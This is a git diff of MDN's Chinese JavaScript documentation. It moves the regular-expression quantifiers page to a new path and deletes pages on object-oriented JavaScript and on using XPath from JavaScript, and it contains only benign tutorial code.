ECMAScript 规范使用的术语和语法对于 JavaScript 程序员而言,可能会有点陌生。尽管对语言的描述方式在 ECMAScript 中可能不尽相同,但是语言本身还是相同的。JavaScript 支持 ECMAScript 规范中所勾勒出的全部功能。

- -

JavaScript 文档描述了语言中适合于 JavaScript 程序员的方面。例如:

- -
    -
  • JavaScript 文档中没有描述全局对象,因为不会直接用到它。全局对象的属性和方法在 JavaScript 文档中被称为顶层函数和属性。
  • -
  • JavaScript 文档中没有讨论 NumberString 对象的无参(零个参数)构造器,因为几乎不会用到其生成的对象。无参的 Number 构造器返回 +0,而无参的 String 构造器返回 "" (空的字符串)。
  • -
- -
{{ PreviousNext("JavaScript/Guide/About", "JavaScript/Guide/Values,_variables,_and_literals") }}
diff --git a/files/zh-cn/web/javascript/guide/regular_expressions/boundaries/index.html b/files/zh-cn/web/javascript/guide/regular_expressions/boundaries/index.html deleted file mode 100644 index 8ff8e9730b..0000000000 --- a/files/zh-cn/web/javascript/guide/regular_expressions/boundaries/index.html +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: Boundaries -slug: Web/JavaScript/Guide/Regular_Expressions/Boundaries -translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions -translation_of_original: Web/JavaScript/Guide/Regular_Expressions/Boundaries ---- -

重定向至 断言

diff --git a/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html b/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html new file mode 100644 index 0000000000..bcc2a35e13 --- /dev/null +++ b/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html @@ -0,0 +1,170 @@ +--- +title: 量词 +slug: Web/JavaScript/Guide/Regular_Expressions/量词 +translation_of: Web/JavaScript/Guide/Regular_Expressions/Quantifiers +--- +

{{jsSidebar("JavaScript Guide")}}

+ +

量词表示要匹配的字符或表达式的数量。

+ +
{{EmbedInteractiveExample("pages/js/regexp-quantifiers.html", "taller")}}
+ +

类型

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CharactersMeaning
x* +

将前面的项“x”匹配0次或更多次。例如,/bo*/匹配“A ghost booooed”中的“boooo”和“A bird warbled”中的“b”,但在“A goat grunt”中没有匹配。

+
x+ +

将前一项“x”匹配1次或更多次。等价于{1,}。例如,/a+/匹配“candy”中的“a”和“caaaaaaandy”中的“a”。

+
x? +

将前面的项“x”匹配0或1次。例如,/ e ?勒?/匹配angel中的el和angle中的le。

+ +

如果立即在任何量词*、+、?或{}之后使用,则使量词是非贪婪的(匹配最小次数),而不是默认的贪婪的(匹配最大次数)。

+
x{n} +

其中“n”是一个正整数,与前一项“x”的n次匹配。例如,/a{2}/ 不匹配“candy”中的“a”,但它匹配“caandy”中的所有“a”,以及“caaandy”中的前两个“a”。

+
x{n,} +

其中,“n”是一个正整数,与前一项“x”至少匹配“n”次。例如,/a{2,}/不匹配“candy”中的“a”,但匹配“caandy”和“caaaaaaandy”中的所有a。

+
x{n,m} +

其中,“n”是0或一个正整数,“m”是一个正整数,而m > n至少与前一项“x”匹配,最多与“m”匹配。例如,/a{1,3}/不匹配“cndy”中的“a”,“candy”中的“a”,“caandy”中的两个“a”,以及“caaaaaaandy”中的前三个“a”。注意,当匹配“caaaaaaandy”时,匹配的是“aaa”,即使原始字符串中有更多的“a”。

+
+

x*?
+ x+?
+ x??
+ x{n}?
+ x{n,}?
+ x{n,m}?

+
+

默认情况下,像 和 这样的量词是“贪婪的”,这意味着它们试图匹配尽可能多的字符串。?量词后面的字符使量词“非贪婪”:意思是它一旦找到匹配就会停止。例如,给定一个字符串“some <foo> <bar> new </bar> </foo> thing”:

+ +
    +
  • /<.*>/ will match "<foo> <bar> new </bar> </foo>"
  • +
  • /<.*?>/ will match "<foo>"
  • +
+
+ +

举例说明

+ +

重复模式

+ +
var wordEndingWithAs = /\w+a+/;
+var delicateMessage = "This is Spartaaaaaaa";
+
+console.table(delicateMessage.match(wordEndingWithAs)); // [ "Spartaaaaaaa" ]
+ +

计算字符集

+ +
var singleLetterWord = /\b\w\b/g;
+var notSoLongWord = /\b\w{1,6}\b/g;
+var loooongWord = /\b\w{13,}\b/g;
+
+var sentence = "Why do I have to learn multiplication table?";
+
+console.table(sentence.match(singleLetterWord)); // ["I"]
+console.table(sentence.match(notSoLongWord));    // [ "Why", "do", "I", "have", "to", "learn", "table" ]
+console.table(sentence.match(loooongWord));      // ["multiplication"]可选可选字符
+
+ +

 可选字符

+ +
var britishText = "He asked his neighbour a favour.";
+var americanText = "He asked his neighbor a favor.";
+
+var regexpEnding = /\w+ou?r/g;
+// \w+ One or several letters
+// o   followed by an "o",
+// u?  optionally followed by a "u"
+// r   followed by an "r"
+
+console.table(britishText.match(regexpEnding));
+// ["neighbour", "favour"]
+
+console.table(americanText.match(regexpEnding));
+// ["neighbor", "favor"]
+
+ +

贪婪 与 非贪婪的

+ +
var text = "I must be getting somewhere near the centre of the earth.";
+var greedyRegexp = /[\w ]+/;
+// [\w ]      a letter of the latin alphabet or a whitespace
+//      +     one or several times
+
+console.log(text.match(greedyRegexp)[0]);
+// "I must be getting somewhere near the centre of the earth"
+// almost all of the text matches (leaves out the dot character)
+
+var nonGreedyRegexp = /[\w ]+?/; // Notice the question mark
+console.log(text.match(nonGreedyRegexp));
+// "I"
+// The match is the smallest one possible
+
+ +

规范

+ + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#sec-quantifier', 'RegExp: Quantifiers')}}
+ +

浏览器支持

+ +

For browser compatibility information, check out the main Regular Expressions compatibility table.

+ +

See also

+ + diff --git "a/files/zh-cn/web/javascript/guide/regular_expressions/\351\207\217\350\257\215/index.html" "b/files/zh-cn/web/javascript/guide/regular_expressions/\351\207\217\350\257\215/index.html" deleted file mode 100644 index bcc2a35e13..0000000000 --- "a/files/zh-cn/web/javascript/guide/regular_expressions/\351\207\217\350\257\215/index.html" +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: 量词 -slug: Web/JavaScript/Guide/Regular_Expressions/量词 -translation_of: Web/JavaScript/Guide/Regular_Expressions/Quantifiers ---- -

{{jsSidebar("JavaScript Guide")}}

- -

量词表示要匹配的字符或表达式的数量。

- -
{{EmbedInteractiveExample("pages/js/regexp-quantifiers.html", "taller")}}
- -

类型

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CharactersMeaning
x* -

将前面的项“x”匹配0次或更多次。例如,/bo*/匹配“A ghost booooed”中的“boooo”和“A bird warbled”中的“b”,但在“A goat grunt”中没有匹配。

-
x+ -

将前一项“x”匹配1次或更多次。等价于{1,}。例如,/a+/匹配“candy”中的“a”和“caaaaaaandy”中的“a”。

-
x? -

将前面的项“x”匹配0或1次。例如,/ e ?勒?/匹配angel中的el和angle中的le。

- -

如果立即在任何量词*、+、?或{}之后使用,则使量词是非贪婪的(匹配最小次数),而不是默认的贪婪的(匹配最大次数)。

-
x{n} -

其中“n”是一个正整数,与前一项“x”的n次匹配。例如,/a{2}/ 不匹配“candy”中的“a”,但它匹配“caandy”中的所有“a”,以及“caaandy”中的前两个“a”。

-
x{n,} -

其中,“n”是一个正整数,与前一项“x”至少匹配“n”次。例如,/a{2,}/不匹配“candy”中的“a”,但匹配“caandy”和“caaaaaaandy”中的所有a。

-
x{n,m} -

其中,“n”是0或一个正整数,“m”是一个正整数,而m > n至少与前一项“x”匹配,最多与“m”匹配。例如,/a{1,3}/不匹配“cndy”中的“a”,“candy”中的“a”,“caandy”中的两个“a”,以及“caaaaaaandy”中的前三个“a”。注意,当匹配“caaaaaaandy”时,匹配的是“aaa”,即使原始字符串中有更多的“a”。

-
-

x*?
- x+?
- x??
- x{n}?
- x{n,}?
- x{n,m}?

-
-

默认情况下,像 和 这样的量词是“贪婪的”,这意味着它们试图匹配尽可能多的字符串。?量词后面的字符使量词“非贪婪”:意思是它一旦找到匹配就会停止。例如,给定一个字符串“some <foo> <bar> new </bar> </foo> thing”:

- -
    -
  • /<.*>/ will match "<foo> <bar> new </bar> </foo>"
  • -
  • /<.*?>/ will match "<foo>"
  • -
-
- -

举例说明

- -

重复模式

- -
var wordEndingWithAs = /\w+a+/;
-var delicateMessage = "This is Spartaaaaaaa";
-
-console.table(delicateMessage.match(wordEndingWithAs)); // [ "Spartaaaaaaa" ]
- -

计算字符集

- -
var singleLetterWord = /\b\w\b/g;
-var notSoLongWord = /\b\w{1,6}\b/g;
-var loooongWord = /\b\w{13,}\b/g;
-
-var sentence = "Why do I have to learn multiplication table?";
-
-console.table(sentence.match(singleLetterWord)); // ["I"]
-console.table(sentence.match(notSoLongWord));    // [ "Why", "do", "I", "have", "to", "learn", "table" ]
-console.table(sentence.match(loooongWord));      // ["multiplication"]可选可选字符
-
- -

 可选字符

- -
var britishText = "He asked his neighbour a favour.";
-var americanText = "He asked his neighbor a favor.";
-
-var regexpEnding = /\w+ou?r/g;
-// \w+ One or several letters
-// o   followed by an "o",
-// u?  optionally followed by a "u"
-// r   followed by an "r"
-
-console.table(britishText.match(regexpEnding));
-// ["neighbour", "favour"]
-
-console.table(americanText.match(regexpEnding));
-// ["neighbor", "favor"]
-
- -

贪婪 与 非贪婪的

- -
var text = "I must be getting somewhere near the centre of the earth.";
-var greedyRegexp = /[\w ]+/;
-// [\w ]      a letter of the latin alphabet or a whitespace
-//      +     one or several times
-
-console.log(text.match(greedyRegexp)[0]);
-// "I must be getting somewhere near the centre of the earth"
-// almost all of the text matches (leaves out the dot character)
-
-var nonGreedyRegexp = /[\w ]+?/; // Notice the question mark
-console.log(text.match(nonGreedyRegexp));
-// "I"
-// The match is the smallest one possible
-
- -

规范

- - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#sec-quantifier', 'RegExp: Quantifiers')}}
- -

浏览器支持

- -

For browser compatibility information, check out the main Regular Expressions compatibility table.

- -

See also

- - diff --git a/files/zh-cn/web/javascript/introduction_to_object-oriented_javascript/index.html b/files/zh-cn/web/javascript/introduction_to_object-oriented_javascript/index.html deleted file mode 100644 index 1ae4554c63..0000000000 --- a/files/zh-cn/web/javascript/introduction_to_object-oriented_javascript/index.html +++ /dev/null @@ -1,362 +0,0 @@ ---- -title: JavaScript面向对象简介 -slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript -tags: - - JavaScript - - OOP - - 命名空间 - - 对象 - - 封装 - - 成员 - - 构造函数 - - 继承 - - 面向对象 -translation_of: Learn/JavaScript/Objects -translation_of_original: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript ---- -
{{jsSidebar("Introductory")}}
- -
 
- -

JavaScript 的核心是支持面向对象的,同时它也提供了强大灵活的 OOP 语言能力。本文从对面向对象编程的介绍开始,带您探索 JavaScript 的对象模型,最后描述 JavaScript 当中面向对象编程的一些概念。

- -

JavaScript回顾

- -

如果您对 JavaScript 的概念(如变量、类型、方法和作用域等)缺乏自信,您可以在重新介绍 JavaScript 这篇文章里学习这些概念。您也可以查阅这篇 JavaScript 1.5 核心指南

- -

面向对象编程

- -

面向对象编程是用抽象方式创建基于现实世界模型的一种编程模式。它使用先前建立的范例,包括模块化,多态和封装几种技术。今天,许多流行的编程语言(如Java,JavaScript,C#,C+ +,Python,PHP,Ruby和Objective-C)都支持面向对象编程(OOP)。

- -

相对于「一个程序只是一些函数的集合,或简单的计算机指令列表。」的传统软件设计观念而言,面向对象编程可以看作是使用一系列对象相互协作的软件设计。 在 OOP 中,每个对象能够接收消息,处理数据和发送消息给其他对象。每个对象都可以被看作是一个拥有清晰角色或责任的独立小机器。

- -

面向对象程序设计的目的是在编程中促进更好的灵活性和可维护性,在大型软件工程中广为流行。凭借其对模块化的重视,面向对象的代码开发更简单,更容易理解,相比非模块化编程方法 1, 它能更直接地分析, 编码和理解复杂的情况和过程。

- -

术语

- -
-
Namespace 命名空间
-
允许开发人员在一个独特,应用相关的名字的名称下捆绑所有功能的容器。
-
Class 类
-
定义对象的特征。它是对象的属性和方法的模板定义。
-
Object 对象
-
类的一个实例。
-
Property 属性
-
对象的特征,比如颜色。
-
Method 方法
-
对象的能力,比如行走。
-
Constructor 构造函数
-
对象初始化的瞬间,被调用的方法。通常它的名字与包含它的类一致。
-
Inheritance 继承
-
一个类可以继承另一个类的特征。
-
Encapsulation 封装
-
一种把数据和相关的方法绑定在一起使用的方法。
-
Abstraction 抽象
-
结合复杂的继承,方法,属性的对象能够模拟现实的模型。
-
Polymorphism 多态
-
多意为「许多」,态意为「形态」。不同类可以定义相同的方法或属性。
-
- -

更多关于面向对象编程的描述,请参照维基百科的 面向对象编程 。

- -

原型编程

- -

基于原型的编程不是面向对象编程中体现的风格,且行为重用(在基于类的语言中也称为继承)是通过装饰它作为原型的现有对象的过程实现的。这种模式也被称为弱类化,原型化,或基于实例的编程。

- -

原始的(也是最典型的)基于原型语言的例子是由大卫·安格尔和兰德尔·史密斯开发的。然而,弱类化的编程风格近来变得越来越流行,并已被诸如JavaScript,Cecil,NewtonScript,IO,MOO,REBOL,Kevo,Squeak(使用框架操纵Morphic组件),和其他几种编程语言采用。1

- -

JavaScript面向对象编程

- -

命名空间

- -

命名空间是一个容器,它允许开发人员在一个独特的,特定于应用程序的名称下捆绑所有的功能。 在JavaScript中,命名空间只是另一个包含方法,属性,对象的对象。

- -
-

注意:需要认识到重要的一点是:与其他面向对象编程语言不同的是,Javascript中的普通对象和命名空间在语言层面上没有区别。这点可能会让JavaScript初学者感到迷惑。

-
- -

创造的JavaScript命名空间背后的想法很简单:一个全局对象被创建,所有的变量,方法和功能成为该对象的属性。使用命名空间也最大程度地减少应用程序的名称冲突的可能性。

- -

我们来创建一个全局变量叫做 MYAPP

- -
// 全局命名空间
-var MYAPP = MYAPP || {};
- -

在上面的代码示例中,我们首先检查MYAPP是否已经被定义(是否在同一文件中或在另一文件)。如果是的话,那么使用现有的MYAPP全局对象,否则,创建一个名为MYAPP的空对象用来封装方法,函数,变量和对象。

- -

我们也可以创建子命名空间:

- -
// 子命名空间
-MYAPP.event = {};
- -

下面是用于创建命名空间和添加变量,函数和方法的代码写法:

- -
// 给普通方法和属性创建一个叫做MYAPP.commonMethod的容器
-MYAPP.commonMethod = {
-  regExForName: "", // 定义名字的正则验证
-  regExForPhone: "", // 定义电话的正则验证
-  validateName: function(name){
-    // 对名字name做些操作,你可以通过使用“this.regExForname”
-    // 访问regExForName变量
-  },
-
-  validatePhoneNo: function(phoneNo){
-    // 对电话号码做操作
-  }
-}
-
-// 对象和方法一起申明
-MYAPP.event = {
-    addListener: function(el, type, fn) {
-    //  代码
-    },
-   removeListener: function(el, type, fn) {
-    // 代码
-   },
-   getEvent: function(e) {
-   // 代码
-   }
-
-   // 还可以添加其他的属性和方法
-}
-
-//使用addListener方法的写法:
-MYAPP.event.addListener("yourel", "type", callback);
- -

标准内置对象

- -

JavaScript有包括在其核心的几个对象,例如,Math,Object,Array和String对象。下面的例子演示了如何使用Math对象的random()方法来获得一个随机数。

- -
console.log(Math.random());
-
- -
注意:这里和接下来的例子都假设名为 console.log 的方法全局有定义。console.log 实际上不是 JavaScript 自带的。
- -

查看 JavaScript 参考:全局对象 了解 JavaScript 内置对象的列表。

- -

JavaScript 中的每个对象都是 Object 对象的实例且继承它所有的属性和方法。

- -

自定义对象

- -

- -

JavaScript是一种基于原型的语言,它没类的声明语句,比如C+ +或Java中用的。这有时会对习惯使用有类申明语句语言的程序员产生困扰。相反,JavaScript可用方法作类。定义一个类跟定义一个函数一样简单。在下面的例子中,我们定义了一个新类Person。

- -
function Person() { }
-// 或
-var Person = function(){ }
-
- -

对象(类的实例)

- -

我们使用 new obj 创建对象 obj 的新实例, 将结果(obj 类型赋值给一个变量方便稍后调用。

- -

在下面的示例中,我们定义了一个名为Person的类,然后我们创建了两个Person的实例(person1 and person2).

- -
function Person() { }
-var person1 = new Person();
-var person2 = new Person();
-
- -
注意:有一种新增的创建未初始化实例的实例化方法,请参考 Object.create
- -

构造器

- -

在实例化时构造器被调用 (也就是对象实例被创建时)。构造器是对象中的一个方法。 在JavaScript中函数就可以作为构造器使用,因此不需要特别地定义一个构造器方法,每个声明的函数都可以在实例化后被调用执行。

- -

构造器常用于给对象的属性赋值或者为调用函数做准备。 在本文的后面描述了类中方法既可以在定义时添加,也可以在使用前添加。

- -

在下面的示例中, Person类实例化时构造器调用一个 alert函数。

- -
function Person() {
-  alert('Person instantiated');
-}
-
-var person1 = new Person();
-var person2 = new Person();
-
- -

属性 (对象属性)

- -

属性就是 类中包含的变量;每一个对象实例有若干个属性. 为了正确的继承,属性应该被定义在类的原型属性 (函数)中。

- -

可以使用 关键字 this调用类中的属性, this是对当前对象的引用。 从外部存取(读/写)其属性的语法是: InstanceName.Property; 这与C++,Java或者许多其他语言中的语法是一样的 (在类中语法 this.Property 常用于set和get属性值)

- -

在下面的示例中,我们为定义Person类定义了一个属性 firstName 并在实例化时赋初值。

- -
function Person(firstName) {
-  this.firstName = firstName;
-  alert('Person instantiated');
-}
-
-var person1 = new Person('Alice');
-var person2 = new Person('Bob');
-
-// Show the firstName properties of the objects
-alert('person1 is ' + person1.firstName); // alerts "person1 is Alice"
-alert('person2 is ' + person2.firstName); // alerts "person2 is Bob"
-
- -

方法(对象属性)

- -

方法与属性很相似, 不同的是:一个是函数,另一个可以被定义为函数。 调用方法很像存取一个属性,  不同的是add () 在方法名后面很可能带着参数. 为定义一个方法, 需要将一个函数赋值给类的 prototype 属性; 这个赋值给函数的名称就是用来给对象在外部调用它使用的。

- -

在下面的示例中,我们给Person类定义了方法 sayHello(),并调用了它.

- -
function Person(firstName) {
-  this.firstName = firstName;
-}
-
-Person.prototype.sayHello = function() {
-  alert("Hello, I'm " + this.firstName);
-};
-
-var person1 = new Person("Alice");
-var person2 = new Person("Bob");
-
-// call the Person sayHello method.
-person1.sayHello(); // alerts "Hello, I'm Alice"
-person2.sayHello(); // alerts "Hello, I'm Bob"
-
- -

在JavaScript中方法通常是一个绑定到对象中的普通函数, 这意味着方法可以在其所在context之外被调用。 思考下面示例中的代码:

- -
function Person(firstName) {
-  this.firstName = firstName;
-}
-
-Person.prototype.sayHello = function() {
-  alert("Hello, I'm " + this.firstName);
-};
-
-var person1 = new Person("Alice");
-var person2 = new Person("Bob");
-var helloFunction = person1.sayHello;
-
-person1.sayHello();                                 // alerts "Hello, I'm Alice"
-person2.sayHello();                                 // alerts "Hello, I'm Bob"
-helloFunction();                                    // alerts "Hello, I'm undefined" (or fails
-                                                    // with a TypeError in strict mode)
-console.log(helloFunction === person1.sayHello);          // logs true
-console.log(helloFunction === Person.prototype.sayHello); // logs true
-helloFunction.call(person1);                        // logs "Hello, I'm Alice"
-
- -

如上例所示, 所有指向sayHello函数的引用 ,包括 person1, Person.prototype, 和 helloFunction 等, 均引用了相同的函数.

- -

在调用函数的过程中,this的值取决于我们怎么样调用函数.  在通常情况下,我们通过一个表达式person1.sayHello()来调用函数:即从一个对象的属性中得到所调用的函数。此时this被设置为我们取得函数的对象(即person1)。这就是为什么person1.sayHello() 使用了姓名“Alice”而person2.sayHello()使用了姓名“bob”的原因。 

- -

然而我们使用不同的调用方法时, this的值也就不同了。当从变量 helloFunction()中调用的时候, this就被设置成了全局对象 (在浏览器中即window)。由于该对象 (非常可能地) 没有firstName 属性, 我们得到的结果便是"Hello, I'm undefined". (这是松散模式下的结果, 在 严格模式中,结果将不同(此时会产生一个error)。 但是为了避免混淆,我们在这里不涉及细节) 。另外,我们可以像上例末尾那样,使用Function#call (或者Function#apply)显式的设置this的值。

- -
更多有关信息请参考 Function#call and Function#apply
- -

继承

- -

创建一个或多个类的专门版本类方式称为继承(Javascript只支持单继承)。 创建的专门版本的类通常叫做子类,另外的类通常叫做父类。 在Javascript中,继承通过赋予子类一个父类的实例并专门化子类来实现。在现代浏览器中你可以使用 Object.create 实现继承.

- -
-

JavaScript 并不检测子类的 prototype.constructor (见 Object.prototype), 所以我们必须手动申明它.

-
- -

在下面的例子中, 我们定义了 Student类作为 Person类的子类. 之后我们重定义了sayHello() 方法并添加了 sayGoodBye() 方法.

- -
// 定义Person构造器
-function Person(firstName) {
-  this.firstName = firstName;
-}
-
-// 在Person.prototype中加入方法
-Person.prototype.walk = function(){
-  alert("I am walking!");
-};
-Person.prototype.sayHello = function(){
-  alert("Hello, I'm " + this.firstName);
-};
-
-// 定义Student构造器
-function Student(firstName, subject) {
-  // 调用父类构造器, 确保(使用Function#call)"this" 在调用过程中设置正确
-  Person.call(this, firstName);
-
-  // 初始化Student类特有属性
-  this.subject = subject;
-};
-
-// 建立一个由Person.prototype继承而来的Student.prototype对象.
-// 注意: 常见的错误是使用 "new Person()"来建立Student.prototype.
-// 这样做的错误之处有很多, 最重要的一点是我们在实例化时
-// 不能赋予Person类任何的FirstName参数
-// 调用Person的正确位置如下,我们从Student中来调用它
-Student.prototype = Object.create(Person.prototype); // See note below
-
-// 设置"constructor" 属性指向Student
-Student.prototype.constructor = Student;
-
-// 更换"sayHello" 方法
-Student.prototype.sayHello = function(){
-  console.log("Hello, I'm " + this.firstName + ". I'm studying " + this.subject + ".");
-};
-
-// 加入"sayGoodBye" 方法
-Student.prototype.sayGoodBye = function(){
-  console.log("Goodbye!");
-};
-
-// 测试实例:
-var student1 = new Student("Janet", "Applied Physics");
-student1.sayHello();   // "Hello, I'm Janet. I'm studying Applied Physics."
-student1.walk();       // "I am walking!"
-student1.sayGoodBye(); // "Goodbye!"
-
-// Check that instanceof works correctly
-console.log(student1 instanceof Person);  // true
-console.log(student1 instanceof Student); // true
-
- -

对于“Student.prototype = Object.create(Person.prototype);”这一行,在不支持 Object.create方法的老JavaScript引擎中,可以使用一个"polyfill"(又名"shim",查看文章链接),或者使用一个function来获得相同的返回值,就像下面:

- -
function createObject(proto) {
-    function ctor() { }
-    ctor.prototype = proto;
-    return new ctor();
-}
-
-// Usage:
-Student.prototype = createObject(Person.prototype);
-
- -
更多相关信息请参考 Object.create,连接中还有一个老JavaScript引擎的兼容方案(shim)。
- -

封装

- -

在上一个例子中,Student类虽然不需要知道Person类的walk()方法是如何实现的,但是仍然可以使用这个方法;Student类不需要明确地定义这个方法,除非我们想改变它。 这就叫做封装,对于所有继承自父类的方法,只需要在子类中定义那些你想改变的即可。

- -

抽象

- -

抽象是允许模拟工作问题中通用部分的一种机制。这可以通过继承(具体化)或组合来实现。
- JavaScript通过继承实现具体化,通过让类的实例是其他对象的属性值来实现组合。

- -

JavaScript Function 类继承自Object类(这是典型的具体化) 。Function.prototype的属性是一个Object实例(这是典型的组合)。

- -
var foo = function(){};
-console.log( 'foo is a Function: ' + (foo instanceof Function) );                  // logs "foo is a Function: true"
-console.log( 'foo.prototype is an Object: ' + (foo.prototype instanceof Object) ); // logs "foo.prototype is an Object: true"
- -

多态

- -

就像所有定义在原型属性内部的方法和属性一样,不同的类可以定义具有相同名称的方法;方法是作用于所在的类中。并且这仅在两个类不是父子关系时成立(继承链中,一个类不是继承自其他类)。

- -

注意

- -

本文中所展示的面向对象编程技术不是唯一的实现方式,在JavaScript中面向对象的实现是非常灵活的。

- -

同样的,文中展示的技术没有使用任何语言hacks,它们也没有模仿其他语言的对象理论实现。

- -

JavaScript中还有其他一些更加先进的面向对象技术,但这些都超出了本文的介绍范围。

- -

参考

- -
    -
  1. 维基百科。「面向对象程序设计」,http://zh.wikipedia.org/wiki/面向对象程序设计​
  2. -
  3. 维基百科。“Encapsulation (object-oriented programming)
  4. -
diff --git a/files/zh-cn/web/javascript/introduction_to_using_xpath_in_javascript/index.html b/files/zh-cn/web/javascript/introduction_to_using_xpath_in_javascript/index.html deleted file mode 100644 index cc4b806fa6..0000000000 --- a/files/zh-cn/web/javascript/introduction_to_using_xpath_in_javascript/index.html +++ /dev/null @@ -1,436 +0,0 @@ ---- -title: Introduction to using XPath in JavaScript -slug: Web/JavaScript/Introduction_to_using_XPath_in_JavaScript -tags: - - DOM - - Extensions - - Transforming_XML_with_XSLT - - Web Development - - XPath -translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript ---- -

该篇文档描述了如何在扩展和网站内部通过JavaScript调用 XPath 接口。 Mozilla 实现了相当多的 DOM 3 XPath,意味着 Xpath 表达式已经可以在 HTML 和 XML 文档中使用。

- -

使用 XPath 的主要接口是 document 对象的 evaluate 方法。

- -

document.evaluate

- -

此方法针对基于 XML 的文档(包括 HTML 文档)评估 XPath 表达式,并返回 XPathResult 对象,该对象可以是单个节点或一组节点。这个方法的现有文档位于 document.evaluate,但是对于我们现在的需求来说它相当稀疏;下面将给出更全面的研究。

- -
var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, resultType, result );
-
- -

参数

- -

evaluate 函数共有五个参数:

- -
    -
  • -

    xpathExpression:包含要评估的 XPath 表达式的字符串.

    -
  • -
  • -

    contextNode:应评估 xpathExpression 的文档中的节点,包括其任何和所有子节点。document 节点是最常用的。

    -
  • -
  • -

    namespaceResolver:将传递包含在 xpathExpression 中的任何命名空间前缀的函数,它返回一个表示与该前缀关联的命名空间 URI 的字符串。这使得能够在 XPath 表达式中使用的前缀和文档中使用的可能不同的前缀之间进行转换。该转换函数可以是:

    - -
      -
    • -

      使用 XPathEvaluator 对象的 createNSResolver 方法创建

      -
    • -
    • -

      null。其可以用于 HTML 文档或者当不使用命名空间前缀时。注意,如果 xpathExpression 包含命名空间前缀,这将导致一个带有 NAMESPACE_ERR 的 DOMException 抛出。

      -
    • -
    • -

      用户定义的函数。有关详细信息,请参阅附录中的 使用一个用户定义的命名空间解析器 部分。

      -
    • -
    -
  • -
  • -

    resultType:指定作为评估结果返回的所需结果类型的常数。最常传递的常量是 XPathResult.ANY_TYPE,它将返回 XPath 表达式的结果作为最自然的类型。附录中有一个部分,其中包含可用常数的完整列表。它们在下面“指定返回类型”部分中进行解释。

    -
  • -
  • -

    result:如果指定了现有的 XPathResult 对象,它将被重用以返回结果。指定 null 将创建一个新的 XPathResult 对象。

    -
  • -
- -

返回值

- -

返回 xpathResult,它是 resultType 参数中指定的类型的 XPathResult 对象。XPathResult 在这里定义。

- -

实现默认的命名空间解析器

- -

我们使用 document 对象的 createNSResolver 方法创建一个命名空间解析器。

- -
var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement );
-
- -

Or alternatively by using the <code>createNSResolver</code> method of a <code>XPathEvaluator</code> object. <pre> var xpEvaluator = new XPathEvaluator(); var nsResolver = xpEvaluator.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement ); </pre>

- -

然后传递 document.evaluate,将 nsResolver 变量作为 namespaceResolver 参数。

- -

注意:XPath 定义不带前缀的 QNames,以仅匹配 null 命名空间中的元素。XPath 没有办法选择应用于常规元素引用的默认命名空间(例如,p[@id='_myid'] 对应于 xmlns='http://www.w3.org/1999/xhtml')。要匹配非命名空间中的默认元素,您必须使用如 [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_id']这种方法适用于命名空间未知的动态 XPath),或者使用前缀名测试,并创建一个命名空间解析器将前缀映射到命名空间。如果你想采取后一种方法,阅读更多关于如何创建一个用户定义的命名空间解析器

- -

注意

- -

适应任何 DOM 节点以解析命名空间,以便可以相对于文档中出现的节点的上下文轻松地评估 XPath 表达式。此适配器的工作方式类似于 DOM 级别 3 方法 lookupNamespaceURI 在解析 namespaceuRI 时节点的层次结构中的可用的当前信息的节点。也正确解析了隐式 xml 前缀。

- -

指定返回类型

- -

document.evaluate 返回的变量 xpathResult 可以由单个节点(简单类型)或节点集合(节点集类型)组成。

- -

简单类型

- -

resultType 中的所需结果类型指定为:

- -
    -
  • NUMBER_TYPE - a double
  • -
  • STRING_TYPE - a string
  • -
  • BOOLEAN_TYPE - a boolean
  • -
- -

我们通过分别访问 XPathResult 对象的以下属性来获取表达式的返回值。

- -
    -
  • numberValue
  • -
  • stringValue
  • -
  • booleanValue
  • -
- -
示例
- -

以下使用 XPath 表达式 count(//p) 来获取 HTML 文档中的 <p> 元素数:

- -
var paragraphCount = document.evaluate( 'count(//p)', document, null, XPathResult.ANY_TYPE, null );
-
-alert( 'This document contains ' + paragraphCount.numberValue + ' paragraph elements' );
-
- -

虽然 JavaScript 允许我们将数字转换为一个字符串进行显示,但 XPath 接口不会自动转换数字结果,如果 stringValue 属性被请求,所以下面的代码将工作:

- -
var paragraphCount = document.evaluate('count(//p)', document, null, XPathResult.ANY_TYPE, null );
-
-alert( 'This document contains ' + paragraphCount.stringValue + ' paragraph elements' );
-
- -

相反,它将返回一个带有 NS_DOM_TYPE_ERROR 的异常。

- -

节点集类型

- -

XPathResult 对象允许以 3 种主要不同类型返回节点集:

- - - -
Iterators
- -

resultType 参数中的指定结果类型为:

- -
    -
  • UNORDERED_NODE_ITERATOR_TYPE
  • -
  • ORDERED_NODE_ITERATOR_TYPE
  • -
- -

返回的 XPathResult 对象是一个匹配节点的节点集,它将作为迭代器,允许我们使用 XPathResultiterateNext() 方法访问包含的各个节点。

- -

一旦迭代完成所有的匹配节点,iterateNext() 将返回 null

- -

但请注意,如果在迭代过程中,文档发生突变(文档树被修改),将使迭代无效,并且 XPathResultinvalidIteratorState 属性设置为 true,抛出 NS_ERROR_DOM_INVALID_STATE_ERR 异常。

- -
Iterator Example
- -
var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
-
-try {
-  var thisNode = iterator.iterateNext();
-
-  while (thisNode) {
-    alert( thisNode.textContent );
-    thisNode = iterator.iterateNext();
-  }
-}
-catch (e) {
-  dump( 'Error: Document tree modified during iteration ' + e );
-}
-
- -
Snapshots
- -

resultType 参数中的指定结果类型为:

- -
    -
  • UNORDERED_NODE_SNAPSHOT_TYPE
  • -
  • ORDERED_NODE_SNAPSHOT_TYPE
  • -
- -

